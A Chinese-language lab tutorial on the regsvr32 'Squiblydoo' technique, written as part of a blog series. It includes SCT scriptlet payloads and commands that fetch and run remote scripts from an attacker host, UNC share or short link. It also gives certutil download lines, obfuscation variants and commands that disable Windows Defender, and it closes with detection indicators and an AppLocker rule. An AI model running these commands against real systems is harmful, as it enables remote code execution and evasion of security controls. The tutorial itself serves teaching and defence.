923 字
5 分鐘
- views
【LOLBAS鐵人賽Day6】Regsvr32.exe深度實戰:Squiblydoo攻擊!
regsvr32.exe 是用來註冊或取消註冊 COM 元件和 DLL,
系統管理員也偶爾會用它來修復一些元件問題
但這個工具其實也有個不錯的功能 - 可以執行遠端腳本!
這個技術又稱為Squiblydoo攻擊,是 LOLBAS 中最經典的技巧之一
今天就來實測 Windows 11 上 regsvr32 的幾個用法
環境準備
今天的實作會需要兩台機器:
Attacker Machine: KaliVictim Machine: Windows 11Attacker Machine (Kali):
# 建立測試目錄mkdir ~/regsvr32_demo && cd ~/regsvr32_demo
# 建立惡意 SCT 檔案(Scriptlet)cat > payload.sct << 'EOF'<?XML version="1.0"?><scriptlet><registration progid="PoC" classid="{00000000-0000-0000-0000-000000000000}"><script language="JScript"><![CDATA[ var r = new ActiveXObject("WScript.Shell"); r.Run("calc.exe"); r.Run("cmd.exe /c echo Squiblydoo_Executed > C:\\Windows\\Temp\\regsvr32_test.txt");]]></script></registration></scriptlet>EOF
# 建立 PowerShell 版本的 SCTcat > ps_payload.sct << 'EOF'<?XML version="1.0"?><scriptlet><registration progid="PSTest"><script language="JScript"><![CDATA[ var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell.exe -c Write-Host 'SCT Executed!' -ForegroundColor Red; calc.exe",0);]]></script></registration></scriptlet>EOF
# 建立測試用的正常 DLL 資訊檔echo "This is not a real DLL" > fake.dll
# 啟動 Web Serverpython3 -m http.server 8080Victim Machine (Windows 11):
:: 建立測試環境mkdir C:\TestLabcd C:\TestLab
:: 暫時關閉防護(測試環境)powershell -c "Add-MpPreference -ExclusionPath 'C:\TestLab'"powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"Regsvr32 三大技巧
技巧一:Squiblydoo - 執行遠端 SCT(最經典)
這是 regsvr32 最著名的濫用技術:
:: 設定攻擊者 IPset ATTACKER=10.211.55.6
:: 標準 Squiblydoo 攻擊regsvr32.exe /s /n /u /i:http://%ATTACKER%:8080/payload.sct scrobj.dll
:: 參數說明::: /s = 靜默模式(不顯示訊息框):: /n = 不呼叫 DllRegisterServer:: /u = 解除註冊:: /i: = 呼叫 DllInstall,後面接 URL:: scrobj.dll = Windows Script Component Runtime執行後會看到計算機彈出,並在 Temp 產生檔案,完全繞過應用程式白名單!
技巧二:本地 SCT 執行
不一定要遠端,本地檔案也可以:
:: 下載 SCT 到本地certutil -urlcache -f http://%ATTACKER%:8080/payload.sct local.sct
:: 執行本地 SCTregsvr32.exe /s /n /u /i:local.sct scrobj.dll
:: 使用 file:// 協議regsvr32.exe /s /n /u /i:file://C:\TestLab\local.sct scrobj.dll
:: 甚至可以用 UNC 路徑(內網滲透):: regsvr32.exe /s /n /u /i:\\evil-server\share\payload.sct scrobj.dll技巧三:混淆與規避
攻擊者會用各種方式混淆:
:: 方法1:拆分參數regsvr32 /s /n /u scrobj.dll /i:http://%ATTACKER%:8080/payload.sct
:: 方法2:使用短網址regsvr32 /s /n /u /i:https://bit.ly/3xYz123 scrobj.dll
:: 方法3:偽裝成正常註冊regsvr32.exe /s normal.dllregsvr32.exe /s /n /u /i:http://%ATTACKER%:8080/payload.sct scrobj.dllregsvr32.exe /s another.dll
:: 方法4:透過 PowerShell 執行powershell -c "Start-Process regsvr32 -ArgumentList '/s','/n','/u','/i:http://%ATTACKER%:8080/payload.sct','scrobj.dll'"偵測&防禦建議
檢查痕跡
# 檢查 Temp 資料夾Get-ChildItem "$env:TEMP" -Filter "*regsvr32*" -ErrorAction SilentlyContinueGet-ChildItem "C:\TestLab" -Filter "*.sct" -ErrorAction SilentlyContinue
# 檢查事件日誌Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$_.Message -match 'regsvr32.*/i:'} | Select-Object TimeCreated, Message關鍵偵測指標
regsvr32.exe+/i:http= Squiblydoo 攻擊regsvr32.exe+scrobj.dll+ URL = 可疑regsvr32.exe有網路連線 = 異常(正常註冊不需要網路)regsvr32.exe產生子程序 = 需要調查
Windows 11 實測心得
- Squiblydoo 仍然有效 - 這個技術在 Windows 11 還能用
- Windows Defender 會偵測 - 需要先關閉即時防護
- 網路連線是關鍵 - regsvr32 正常不應該連網
- SCT 格式很重要 - XML 格式錯誤會失敗
AppLocker 規則
<!-- 阻擋 regsvr32 載入 scrobj.dll --><FilePathRule Id="Block_Squiblydoo" Name="Block Regsvr32 Squiblydoo" Action="Deny"> <Conditions> <FilePathCondition Path="%SYSTEM32%\regsvr32.exe" /> </Conditions></FilePathRule>網路層防護
- 監控 regsvr32.exe 的對外連線
- 阻擋對 .sct 檔案的下載
- 檢查 HTTP User-Agent 是否包含 regsvr32
總結!
Regsvr32 的 Squiblydoo 技術展示了 LOLBAS 的精髓:
- 合法工具 - 有 Microsoft 簽章
- 遠端執行 - 可以載入遠端腳本
- 繞過白名單 - 因為是系統元件
實測發現:
- 基本技術仍有效 -
/i:http://還能用 - 需要正確的 SCT 格式 - XML 結構很重要
- 網路活動是破綻 - 正常註冊不需要網路
p.s Squiblydoo 這個名字來自研究員 Casey Smith,因為這個技術太荒謬了(squirrelly),所以取了這個有趣的名字雖然 Microsoft 知道這個問題,但因為向後相容性,很難完全修復
【LOLBAS鐵人賽Day6】Regsvr32.exe深度實戰:Squiblydoo攻擊!
https://owld.tw/posts/lolbas-day-06-regsvr32-exe深度實戰-squiblydoo攻擊-/